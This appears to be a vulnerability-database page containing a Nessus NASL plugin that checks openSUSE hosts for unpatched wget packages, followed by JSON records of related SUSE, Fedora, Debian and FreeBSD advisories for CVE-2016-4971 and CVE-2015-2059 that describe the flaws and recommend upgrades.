ID OPENSUSE-2016-1067.NASL Type nessus Reporter This script is Copyright (C) 2016-2021 and is owned by Tenable, Inc. or an Affiliate thereof. Modified 2021-01-19T00:00:00
Description
This update for wget fixes the following issues :
Fix for HTTP to a FTP redirection file name confusion vulnerability (bsc#984060, CVE-2016-4971).
Work around a libidn vulnerability (bsc#937096, CVE-2015-2059).
Fix for wget fails with basicauth: Failed writing HTTP request: Bad file descriptor (bsc#958342)
This update was imported from the SUSE:SLE-12:Update update project.
#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were
# extracted from openSUSE Security Update openSUSE-2016-1067.
#
# The text description of this plugin is (C) SUSE LLC.
#
include('deprecated_nasl_level.inc');
include('compat.inc');
if (description)
{
script_id(93430);
script_version("2.5");
script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_cve_id("CVE-2015-2059", "CVE-2016-4971");
script_name(english:"openSUSE Security Update : wget (openSUSE-2016-1067)");
script_summary(english:"Check for the openSUSE-2016-1067 patch");
script_set_attribute(
attribute:"synopsis",
value:"The remote openSUSE host is missing a security update."
);
script_set_attribute(
attribute:"description",
value:
"This update for wget fixes the following issues :
- Fix for HTTP to a FTP redirection file name confusion
vulnerability (bsc#984060, CVE-2016-4971).
- Work around a libidn vulnerability (bsc#937096,
CVE-2015-2059).
- Fix for wget fails with basicauth: Failed writing HTTP
request: Bad file descriptor (bsc#958342)
This update was imported from the SUSE:SLE-12:Update update project."
);
script_set_attribute(
attribute:"see_also",
value:"https://bugzilla.opensuse.org/show_bug.cgi?id=937096"
);
script_set_attribute(
attribute:"see_also",
value:"https://bugzilla.opensuse.org/show_bug.cgi?id=958342"
);
script_set_attribute(
attribute:"see_also",
value:"https://bugzilla.opensuse.org/show_bug.cgi?id=984060"
);
script_set_attribute(attribute:"solution", value:"Update the affected wget packages.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"plugin_type", value:"local");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:wget");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:wget-debuginfo");
script_set_attribute(attribute:"cpe", value:"p-cpe:/a:novell:opensuse:wget-debugsource");
script_set_attribute(attribute:"cpe", value:"cpe:/o:novell:opensuse:42.1");
script_set_attribute(attribute:"patch_publication_date", value:"2016/09/09");
script_set_attribute(attribute:"plugin_publication_date", value:"2016/09/12");
script_end_attributes();
script_category(ACT_GATHER_INFO);
script_copyright(english:"This script is Copyright (C) 2016-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");
script_family(english:"SuSE Local Security Checks");
script_dependencies("ssh_get_info.nasl");
script_require_keys("Host/local_checks_enabled", "Host/SuSE/release", "Host/SuSE/rpm-list", "Host/cpu");
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("rpm.inc");
if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
release = get_kb_item("Host/SuSE/release");
if (isnull(release) || release =~ "^(SLED|SLES)") audit(AUDIT_OS_NOT, "openSUSE");
if (release !~ "^(SUSE42\.1)$") audit(AUDIT_OS_RELEASE_NOT, "openSUSE", "42.1", release);
if (!get_kb_item("Host/SuSE/rpm-list")) audit(AUDIT_PACKAGE_LIST_MISSING);
ourarch = get_kb_item("Host/cpu");
if (!ourarch) audit(AUDIT_UNKNOWN_ARCH);
if (ourarch !~ "^(i586|i686|x86_64)$") audit(AUDIT_ARCH_NOT, "i586 / i686 / x86_64", ourarch);
flag = 0;
if ( rpm_check(release:"SUSE42.1", reference:"wget-1.14-4.1") ) flag++;
if ( rpm_check(release:"SUSE42.1", reference:"wget-debuginfo-1.14-4.1") ) flag++;
if ( rpm_check(release:"SUSE42.1", reference:"wget-debugsource-1.14-4.1") ) flag++;
if (flag)
{
if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());
else security_hole(0);
exit(0);
}
else
{
tested = pkg_tests_get();
if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);
else audit(AUDIT_PACKAGE_NOT_INSTALLED, "wget / wget-debuginfo / wget-debugsource");
}
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Tenable has attempted to automatically clean and format it as much as possible without introducing additional issues.", "cvss3": {"score": 8.8, "vector": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}, "published": "2016-09-08T00:00:00", "type": "nessus", "title": "SUSE SLED12 / SLES12 Security Update : wget (SUSE-SU-2016:2226-1)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2015-2059", "CVE-2016-4971"], "modified": "2021-01-06T00:00:00", "cpe": ["p-cpe:/a:novell:suse_linux:wget", "p-cpe:/a:novell:suse_linux:wget-debuginfo", "p-cpe:/a:novell:suse_linux:wget-debugsource", "cpe:/o:novell:suse_linux:12"], "id": "SUSE_SU-2016-2226-1.NASL", "href": "https://www.tenable.com/plugins/nessus/93369", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from SUSE update advisory SUSE-SU-2016:2226-1.\n# The text itself is copyright (C) SUSE.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(93369);\n script_version(\"2.8\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2021/01/06\");\n\n script_cve_id(\"CVE-2015-2059\", \"CVE-2016-4971\");\n script_bugtraq_id(72736);\n\n script_name(english:\"SUSE SLED12 / SLES12 Security Update : wget (SUSE-SU-2016:2226-1)\");\n script_summary(english:\"Checks rpm output for the updated packages.\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote SUSE host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"This update for wget fixes the following issues :\n\n - Fix for HTTP to a FTP redirection file name confusion\n vulnerability (bsc#984060, CVE-2016-4971).\n\n - Work around a libidn vulnerability (bsc#937096,\n CVE-2015-2059).\n\n - Fix for wget fails with basicauth: Failed writing HTTP\n request: Bad file descriptor (bsc#958342)\n\nNote that Tenable Network Security has extracted the preceding\ndescription block directly from the SUSE security advisory. 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online_update.\nAlternatively you can run the command listed for your product :\n\nSUSE Linux Enterprise Server 12-SP1:zypper in -t patch\nSUSE-SLE-SERVER-12-SP1-2016-1309=1\n\nSUSE Linux Enterprise Desktop 12-SP1:zypper in -t patch\nSUSE-SLE-DESKTOP-12-SP1-2016-1309=1\n\nTo bring your system up-to-date, use 'zypper patch'.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:wget\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:wget-debuginfo\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:suse_linux:wget-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:novell:suse_linux:12\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2015/08/12\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/09/02\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/09/08\");\n script_set_attribute(attribute:\"generated_plugin\", value:\"current\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2016-2021 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release !~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"SUSE\");\nos_ver = pregmatch(pattern: \"^(SLE(S|D)\\d+)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"SUSE\");\nos_ver = os_ver[1];\nif (! preg(pattern:\"^(SLED12|SLES12)$\", string:os_ver)) audit(AUDIT_OS_NOT, \"SUSE SLED12 / SLES12\", \"SUSE \" + os_ver);\n\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu !~ \"^i[3-6]86$\" && \"x86_64\" >!< cpu && \"s390x\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"SUSE \" + os_ver, cpu);\n\nsp = get_kb_item(\"Host/SuSE/patchlevel\");\nif (isnull(sp)) sp = \"0\";\nif (os_ver == \"SLES12\" && (! preg(pattern:\"^(1)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLES12 SP1\", os_ver + \" SP\" + sp);\nif (os_ver == \"SLED12\" && (! preg(pattern:\"^(1)$\", string:sp))) audit(AUDIT_OS_NOT, \"SLED12 SP1\", os_ver + \" SP\" + sp);\n\n\nflag = 0;\nif (rpm_check(release:\"SLES12\", sp:\"1\", reference:\"wget-1.14-10.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"1\", reference:\"wget-debuginfo-1.14-10.3\")) flag++;\nif (rpm_check(release:\"SLES12\", sp:\"1\", reference:\"wget-debugsource-1.14-10.3\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"1\", cpu:\"x86_64\", reference:\"wget-1.14-10.3\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"1\", cpu:\"x86_64\", reference:\"wget-debuginfo-1.14-10.3\")) flag++;\nif (rpm_check(release:\"SLED12\", sp:\"1\", cpu:\"x86_64\", reference:\"wget-debugsource-1.14-10.3\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"wget\");\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-08-19T12:45:00", "description": "libidn was updated to version 1.31 to fix one security issue.\n\nThis security issue was fixed :\n\n - CVE-2015-2059: Out-of-bounds read with stringprep on invalid UTF-8 (bsc#923241).", "cvss3": {"score": null, "vector": null}, "published": "2015-07-20T00:00:00", "type": "nessus", "title": "openSUSE Security Update : libidn (openSUSE-2015-497)", "bulletinFamily": "scanner", "cvss2": {}, "cvelist": ["CVE-2015-2059"], "modified": "2021-01-19T00:00:00", "cpe": ["p-cpe:/a:novell:opensuse:libidn-debugsource", "p-cpe:/a:novell:opensuse:libidn-devel", "p-cpe:/a:novell:opensuse:libidn-tools", "p-cpe:/a:novell:opensuse:libidn-tools-debuginfo", "p-cpe:/a:novell:opensuse:libidn11", "p-cpe:/a:novell:opensuse:libidn11-32bit", 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remote openSUSE host is missing a security update.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"libidn was updated to version 1.31 to fix one security issue.\n\nThis security issue was fixed :\n\n - CVE-2015-2059: Out-of-bounds read with stringprep on\n invalid UTF-8 (bsc#923241).\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://bugzilla.opensuse.org/show_bug.cgi?id=923241\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected libidn packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libidn-debugsource\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libidn-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:novell:opensuse:libidn-tools\");\n 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script_family(english:\"SuSE Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/SuSE/release\", \"Host/SuSE/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/SuSE/release\");\nif (isnull(release) || release =~ \"^(SLED|SLES)\") audit(AUDIT_OS_NOT, \"openSUSE\");\nif (release !~ \"^(SUSE13\\.1|SUSE13\\.2)$\") audit(AUDIT_OS_RELEASE_NOT, \"openSUSE\", \"13.1 / 13.2\", release);\nif (!get_kb_item(\"Host/SuSE/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\nourarch = get_kb_item(\"Host/cpu\");\nif (!ourarch) audit(AUDIT_UNKNOWN_ARCH);\nif (ourarch !~ \"^(i586|i686|x86_64)$\") audit(AUDIT_ARCH_NOT, \"i586 / i686 / x86_64\", ourarch);\n\nflag = 0;\n\nif ( rpm_check(release:\"SUSE13.1\", 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", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-06-18T04:19:51", "type": "fedora", "title": "[SECURITY] Fedora 22 Update: wget-1.18-1.fc22", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-06-18T04:19:51", "id": "FEDORA:EE8A96078F47", "href": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2020-12-21T08:17:53", "description": "GNU Wget is a file retrieval utility which can use either the HTTP or FTP protocols. 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", "edition": 2, "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-06-17T16:02:22", "type": "fedora", "title": "[SECURITY] Fedora 23 Update: wget-1.18-1.fc23", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-06-17T16:02:22", "id": "FEDORA:A52D660A96E6", "href": "", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "debian": [{"lastseen": "2021-10-23T22:09:56", "description": "Package : libidn\nVersion : 1.25-2+deb7u1\nCVE ID : CVE-2015-2059\n\nIt was discovered that libidn, the GNU library for Internationalized\nDomain Names (IDNs), did not correctly handle invalid UTF-8 input,\ncausing an out-of-bounds read. This could allow attackers to disclose\nsensitive information from an application using the libidn library.\n\nFor Debian 7 "Wheezy", these problems have been fixed in version\n1.25-2+deb7u1.\n\nWe recommend that you upgrade your libidn packages.\n- -- \nBrian May <bam@debian.org>", "cvss3": {}, "published": "2016-05-17T22:43:24", "type": "debian", "title": "[SECURITY] [DLA 476-1] libidn security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-2059"], "modified": "2016-05-17T22:43:24", "id": "DEBIAN:DLA-476-1:61871", "href": "https://lists.debian.org/debian-lts-announce/2016/05/msg00029.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-10-23T22:24:29", "description": "Package : libidn\nVersion : 1.15-2+deb6u2\n\nAdam Sampson found a vulnerability in GNU Libidn, library that\nimplements the IETF IDN specifications. Libdin incorrectly handled\ninvalid UTF-8 input, causing it to bad free(). This issue was introduced\nby the fix for CVE-2015-2059.\n\nFor Debian 6 \u201cSqueeze\u201d, this issue has been fixed in the 1.15-2+deb6u2\nversion of libidn.\nAttachment:\nsignature.asc\nDescription: Digital signature\n", "cvss3": {}, "published": "2015-08-16T10:08:00", "type": "debian", "title": "[SECURITY] [DLA 291-1] libidn security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-2059"], "modified": "2015-08-16T10:08:00", "id": "DEBIAN:DLA-291-1:F7790", "href": "https://lists.debian.org/debian-lts-announce/2015/08/msg00005.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-10-23T22:25:14", "description": "Package : libidn\nVersion : 1.15-2+deb6u1\nCVE ID : CVE-2015-2059\n\nThijs Alkemade discovered that the Jabber server may pass an invalid\nUTF-8 string to libidn, the GNU library for Internationalized Domain\nNames (IDNs). In the case of the Jabber server, this results in\ninformation disclosure, and it is likely that some other applications\nusing libidn have similar vulnerabilities. This update changes libidn\nto check for invalid strings rather than assuming that the application\nhas done so.\n\nFor the oldoldstable distribution (squeeze), this problem has been\nfixed in version 1.15-2+deb6u1.\n\nFor the oldstable distribution (wheezy) and stable distribution\n(jessie), this problem will be fixed soon.\n\n-- \nBen Hutchings - Debian developer, member of Linux kernel and LTS teams\n\nAttachment:\nsignature.asc\nDescription: This is a digitally signed message part\n", "cvss3": {}, "published": "2015-07-20T01:09:29", "type": "debian", "title": "[SECURITY] [DLA 277-1] libidn security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-2059"], "modified": "2015-07-20T01:09:29", "id": "DEBIAN:DLA-277-1:149FA", "href": "https://lists.debian.org/debian-lts-announce/2015/07/msg00015.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-02-01T00:00:00", "description": "- -------------------------------------------------------------------------\nDebian Security Advisory DSA-3578-1 security@debian.org\nhttps://www.debian.org/security/ Alessandro Ghedini\nMay 14, 2016 https://www.debian.org/security/faq\n- -------------------------------------------------------------------------\n\nPackage : libidn\nCVE ID : CVE-2015-2059\n\nIt was discovered that libidn, the GNU library for Internationalized\nDomain Names (IDNs), did not correctly handle invalid UTF-8 input,\ncausing an out-of-bounds read. This could allow attackers to disclose\nsensitive information from an application using the libidn library.\n\nFor the stable distribution (jessie), this problem has been fixed in\nversion 1.29-1+deb8u1.\n\nFor the testing distribution (stretch), this problem has been fixed\nin version 1.31-1.\n\nFor the unstable distribution (sid), this problem has been fixed in\nversion 1.31-1.\n\nWe recommend that you upgrade your libidn packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {}, "published": "2016-05-14T17:54:18", "type": "debian", "title": "[SECURITY] [DSA 3578-1] libidn security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-2059"], "modified": "2016-05-14T17:54:18", "id": "DEBIAN:DSA-3578-1:1FEE8", "href": "https://lists.debian.org/debian-security-announce/2016/msg00155.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-11-30T16:45:05", "description": "Package : wget\nVersion : 1.13.4-3+deb7u3\nCVE ID : CVE-2016-4971\nDebian Bug : 827003\n\nOn a server redirect from HTTP to a FTP resource, wget would trust\nthe HTTP server and uses the name in the redirected URL as the\ndestination filename.\nThis behaviour was changed and now it works similarly as a redirect\nfrom HTTP to another HTTP resource so the original name is used as\nthe destination file. To keep the previous behaviour the user must\nprovide --trust-server-names.\n\nFor Debian 7 "Wheezy", these problems have been fixed in version\n1.13.4-3+deb7u3.\n\nWe recommend that you upgrade your wget packages.\n\nFurther information about Debian LTS security advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://wiki.debian.org/LTS", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-06-30T20:12:28", "type": "debian", "title": "[SECURITY] [DLA 536-1] wget security update", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-06-30T20:12:28", "id": "DEBIAN:DLA-536-1:51225", "href": "https://lists.debian.org/debian-lts-announce/2016/06/msg00037.html", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "freebsd": [{"lastseen": "2022-01-19T15:51:32", "description": "\n\nSimon Josefsson reports:\n\nstringprep_utf8_to_ucs4 now rejects invalid UTF-8. This function\n\t has always been documented to not validate that the input UTF-8\n\t string is actually valid UTF-8...\n\t \n\n\n", "cvss3": {}, "published": "2015-02-09T00:00:00", "type": "freebsd", "title": "libidn -- out-of-bounds read issue with invalid UTF-8 input", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-2059"], "modified": "2015-08-03T00:00:00", "id": "4CAF01E2-30E6-11E5-A4A5-002590263BF5", "href": "https://vuxml.freebsd.org/freebsd/4caf01e2-30e6-11e5-a4a5-002590263bf5.html", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-01-19T15:51:32", "description": "\n\nGiuseppe Scrivano reports:\n\nOn a server redirect from HTTP to a FTP resource, wget would trust the\n\t HTTP server and uses the name in the redirected URL as the destination\n\t filename.\n\n\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2016-06-09T00:00:00", "type": "freebsd", "title": "wget -- HTTP to FTP redirection file name confusion vulnerability", "bulletinFamily": "unix", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 4.3, "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-4971"], "modified": "2016-06-09T00:00:00", "id": "6DF56C60-3738-11E6-A671-60A44CE6887B", "href": "https://vuxml.freebsd.org/freebsd/6df56c60-3738-11e6-a671-60a44ce6887b.html", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}}], "debiancve": [{"lastseen": "2021-12-14T17:49:47", "description": "The stringprep_utf8_to_ucs4 function in libin before 1.31, as used in jabberd2, allows context-dependent attackers to read system memory and possibly have other unspecified impact via invalid UTF-8 characters in a string, which triggers an out-of-bounds read.", "cvss3": {}, "published": "2015-08-12T14:59:00", "type": "debiancve", "title": "CVE-2015-2059", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-2059"], "modified": "2015-08-12T14:59:00", "id": "DEBIANCVE:CVE-2015-2059", "href": "https://security-tracker.debian.org/tracker/CVE-2015-2059", "cvss": {"score": 7.5, "vector": 